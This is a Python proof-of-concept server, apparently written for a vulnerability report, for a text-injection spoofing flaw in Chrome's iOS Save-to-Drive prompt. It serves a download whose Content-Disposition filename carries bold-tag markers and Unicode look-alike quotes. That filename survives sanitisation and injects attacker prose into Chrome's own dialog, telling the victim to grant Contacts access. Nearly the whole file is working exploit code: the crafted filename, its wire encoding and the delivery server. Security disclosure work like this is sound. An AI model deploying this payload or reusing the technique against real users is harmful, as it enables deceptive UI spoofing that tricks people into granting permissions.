#!/usr/bin/env python3
"""
HTTP server for the iOS Save-to-Drive BEGIN_BOLD/END_BOLD body-text injection POC.

Serves:
  /            -> poc.html (landing page with download link)
  /payload.bin -> the download whose Content-Disposition filename injects
                  END_BOLD ... BEGIN_BOLD markers into the account-picker body.

Run:  python3 server.py [port]   (default 8080)
"""
import http.server
import socketserver
import sys
import urllib.parse

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080

# ---------------------------------------------------------------------------
# Crafted filename
#
# Template (ios_strings.grd, IDS_IOS_SAVE_TO_DRIVE_ACCOUNT_PICKER_BODY_WITH_SIZE):
#   Choose where to save "BEGIN_BOLD$1END_BOLD" ($2)
#
# After substituting $1 = <FILENAME> the string becomes:
#   Choose where to save "BEGIN_BOLD<FILENAME>END_BOLD" (NN KB)
#
# PutBoldPartInString -> ParseStringWithTags then strips *every*
# BEGIN_BOLD...END_BOLD pair via regex over the post-substitution string.
#
# So a filename of the form
#   <decoy> END_BOLD <attacker prose> BEGIN_BOLD <tail>
# yields, after stripping:
#   Choose where to save "<decoy><attacker prose><tail>" (NN KB)
# with only <decoy> bold and the attacker prose rendered in Chrome's own
# grey body style above the Google-account list and the "Save" button.
#
# Filename sanitisation (base/i18n/file_util_icu.cc) only removes
#   ["*/:<>?\\|] + Cc + Cf
# so uppercase A-Z, '_' and interior spaces survive intact, and Unicode
# curly quotes U+201C/U+201D survive too (used to visually close/reopen
# the template's straight quote so the injected sentence looks free-standing).
# ---------------------------------------------------------------------------

LDQUO = "“"  # " left  double quote (look-alike for opening ")
RDQUO = "”"  # " right double quote (look-alike for closing ")

# What the victim will read in the body label:
#
#   Choose where to save "invoice.pdf" to your Google Drive.
#   For security, Chrome will ask for Contacts access on the next
#   screen - tap Allow to continue. "x" (4 KB)
#
INJECTED = (
    RDQUO
    + " to your Google Drive. For security, Chrome will ask for Contacts "
      "access on the next screen — tap Allow to continue. "
    + LDQUO
)

FILENAME = f"invoice.pdf END_BOLD {INJECTED} BEGIN_BOLD x"

# RFC 5987 encoding so the UTF-8 curly quotes / em-dash survive the wire.
FILENAME_STAR = "UTF-8''" + urllib.parse.quote(FILENAME, safe="")

# ASCII fallback (no Unicode look-alikes) for parsers that ignore filename*.
FILENAME_ASCII = (
    "invoice.pdf END_BOLD to your Google Drive. Tap Save below to grant "
    "Chrome access to your Contacts. BEGIN_BOLD x"
)

PAYLOAD_BODY = b"A" * 4096  # 4 KB so the "(4 KB)" size suffix renders.


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path in ("/", "/poc.html", "/index.html"):
            with open("poc.html", "rb") as f:
                body = f.read()
            self.send_response(200)
            self.send_header("Content-Type", "text/html; charset=utf-8")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return

        if self.path.startswith("/payload.bin"):
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header(
                "Content-Disposition",
                'attachment; filename="%s"; filename*=%s'
                % (FILENAME_ASCII, FILENAME_STAR),
            )
            self.send_header("Content-Length", str(len(PAYLOAD_BODY)))
            self.end_headers()
            self.wfile.write(PAYLOAD_BODY)
            return

        self.send_error(404)

    def log_message(self, fmt, *args):
        sys.stderr.write("[server] " + (fmt % args) + "\n")


if __name__ == "__main__":
    sys.stderr.write(f"[server] crafted filename ({len(FILENAME)} chars):\n")
    sys.stderr.write(f"[server]   {FILENAME!r}\n")
    sys.stderr.write(f"[server] listening on http://0.0.0.0:{PORT}/\n")
    with socketserver.TCPServer(("0.0.0.0", PORT), Handler) as httpd:
        httpd.allow_reuse_address = True
        httpd.serve_forever()
